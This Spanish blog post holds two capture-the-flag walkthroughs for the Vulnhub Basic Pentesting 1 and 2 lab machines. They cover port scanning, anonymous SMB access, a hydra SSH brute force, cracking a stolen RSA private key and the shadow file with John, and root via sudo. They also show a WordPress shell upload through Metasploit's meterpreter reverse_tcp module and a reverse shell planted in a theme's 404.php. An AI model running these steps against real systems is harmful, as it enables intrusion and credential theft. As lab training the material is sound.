domingo, 21 de noviembre de 2021

CTF Basic Pentesting 2 VM



 

Primero se escanea los puertos para descubrir los servicios activos

$ sudo nmap -sV -Pn -A -O -oN basic2 192.168.2.6        
Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00049s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h39m58s, deviation: 2h53m12s, median: -1s
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date:
|_  start_date: N/A
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)


Teniendo un servicio habilitado en el puerto 80 en el navegador se comprueba el contenido.

 

En este caso no hay mucha información, asi que se inspecciona el código fuente.


 Hay un comentario haciendo alusión a dev. Bueno ahora a buscar en las rutas de este servicio

$ gobuster dir -u http://192.168.2.6/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.6/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.6/development          (Status: 301) [Size: 316] [--> http://192.168.2.6/development/]
http://192.168.2.6/server-status        (Status: 403) [Size: 299]
Progress: 218922 / 220586 (99.25%)
===============================================================

 

Al verificar la ruta, se encontró dos mensajes, dev.txt y j.txt


$ cat j.txt   

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

$ cat dev.txt             

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

 

Estas dan 2 pistas, que j tiene una credencial débil y que tiene han habilitado smb. Con esto lo siguiente es recabar más información sobre smb.

$  sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.2.6

Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00042s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:xx:xx:xx

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\192.168.2.6\Anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\anonymous
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\192.168.2.6\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Samba Server 4.3.11-Ubuntu)
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|_    Current user access: READ/WRITE

Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds


Se descubrio que se puede acceder con anonymous a smb con un cliente

$ smbclient //192.168.2.6/anonymous
Password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 12:31:20 2018
  ..                                  D        0  Thu Apr 19 12:13:06 2018
  staff.txt                           N      173  Thu Apr 19 12:29:55 2018

                14318640 blocks of size 1024. 11000564 blocks available
smb: \> exit


Con el comando ls se identificó un archivo que se puede descargar.

$ smbget -R smb://192.168.2.6/anonymous   
Password:
Using workgroup WORKGROUP, user aka-linux
smb://192.168.2.6/anonymous/staff.txt                                                                                                                                  
Downloaded 173b in 4 seconds

$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Dentro de este archivo es una nota que se dejaron como recomendación para organizarse entre ellos. Teniendo ahora los nombres de jan y kay, sabiendo que uno de ellos tiene una contraseña débil, hay que explotarla.

hydra -l jan -P /home/.../rockyou.txt -t 16 10.10.218.12 ssh
[22][ssh] host: 192.168.2.6   login: jan   password: armando

Con la contraseña, se inicia sesion con el usuario jan y la contraseña ya se tiene.
$ ssh jan@192.168.2.6           

En el espacio de trabajo de este usuario no hay mayor cosa, asi que buscando se encontró el espacio de kay.
an@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

Hay un archivo muy interesante llamado pass.bak, pero no se tiene permiso para acceder. El siguiente es la carpeta .ssh.

jan@basic2:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU


Encontrando esta llave privada, solo es copiarla y explotarla.

$ vi id_rsa
$ ssh2john id_rsa > hash.txt

Se uso una utilidad para convertir en un formato que john lo pueda usar para romper la llave.
$ john --wordlist=~/Documentos/rockyou.txt hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)

                                                                                                                                                                 Como john ya conocia la contraseña, solo se le debe pasar el archivo y la flag --show
$ john hash.txt --show                             
id_rsa:*******

1 password hash cracked, 0 left

Ahora se le da los permisos necesarios para la llave y se ingresa con el usuario kay, el archivo rsa y la contraseña.
$ chmod 0400 id_rsa
$ ssh kay@192.168.2.6 -i id_rsa 

Ahora con el usuario se puede ver el contenido de pass.bak
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$


Luego utilizando esa contraseña para ingresar al usuario root.

kay@basic2:~$ sudo -i
[sudo] password for kay:
root@basic2:~# id
uid=0(root) gid=0(root) groups=0(root)
root@basic2:~# ls
flag.txt

 

A continuación les dejo parte del mensaje.


root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!

Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.

Vulnhub: Basic Pentesting_2

martes, 9 de noviembre de 2021

CTF Basic Pentesting 1 VM


 


Primero se hace un escaneo de puertos con nmap

$ sudo nmap -sV -Pn -A -O -oN basic1 192.168.2.4
Nmap scan report for 192.168.2.4
Host is up (0.00052s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d60190392d8f46fb038673b33c547e54 (RSA)
|   256 f1f3c0ddbaa485f7139ada3abb4d9304 (ECDSA)
|_  256 12e298d2a3e7364fbe6bce366b7e0d9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Luego se modifica el archivo host para que resuelva la IP con un dominio de forma local.

$ vi /etc/hosts


Ahora se verifica el servicio web disponible en el puerto 80.


En este lugar no hay mucha información reveladora, así que se procede con escaneo de rutas con gobuster.
 

 $ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=========================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
Progress: 4614 / 4615 (99.98%)
===============================================================

 Yendo a la ruta http://vtcsec/secret/ se encontró una web oculta hecha con WordPress.


 

Así que se escanea de nuevo para encontrar nuevas rutas a partir de esta web.

$ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.4
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
===============================================================

Por el momento lo más llamativo es la ruta de /wp_admin donde está el panel de administración de WordPress, y usando con un usuario y contraseña por defecto, en este caso "admin:admin" se logró ingresar.

Con el panel administración a disposición doy 2 métodos para obtener una Shell.


Método 1: Usando metasploit.

Dentro de la consola de msf buscamos un módulo que pueda servir en este caso wp-admin

msf > search wp_admin

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21       excellent  Yes    WordPress Admin Shell Upload

msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

 Ahora solo es setear los datos importantes como la contraseña,el rhost(remote), rport,targeturi,username, lhost (local) y opcionalmente el lport quedando algo asi.

msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.2.4      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /secret/         yes       The base path to the wordpress application
   USERNAME   admin            yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

Es hora de ejecutar este módulo con el comando run.

msf exploit(unix/webapp/wp_admin_shell_upload) > run

Si todo está bien se ejecutará y dará un meterpreter y pedir una Shell.

meterpreter > shell
Process 2268 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


Método 2: Usar una utilidad de WordPress

Teniendo control de la página de WordPress, al dirigirse hacia apariencia > editor y escoger un, témplate, en mi caso, el 404.php y cargar un reverse Shell con la IP local y un puerto al cual va a apuntar.


Ahora se coloca nc a escuchar por el puerto definido en la reverse Shell.

$ nc -lvnp 4567


Ahora navegando en las rutas, la Shell quedo guardada en el archivo 404 del tema seleccionado en mi caso es este.

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

Revisando nc, la Shell ya se tiene acceso.


Ahora a buscar si hay algún archivo con escritura en root se encontró este.

$  find / type f -perm -04000 -ls 2>/dev/null

1028     56 -rwsr-xr-x   1 root     root          54256 May 16  2017 /usr/bin/passwd

Comprobando los permisos de /etc/shadow

ls-l /etc/shadow
4 -rw-r--r-- 1 root shadow 1305 Nov 16 2017 /usr/bin/passwd

Se puede utilizar la herramienta unshadow para extraer las contraseñas de los usuarios. 

$ unshadow passwd shadow > pass

Usando John the ripper, se obtiene el usuario y la contraseña

$ john pass                                                                                                
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
marlinspike      (***********)   

Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.

Vulnhub: Basic Pentesting 1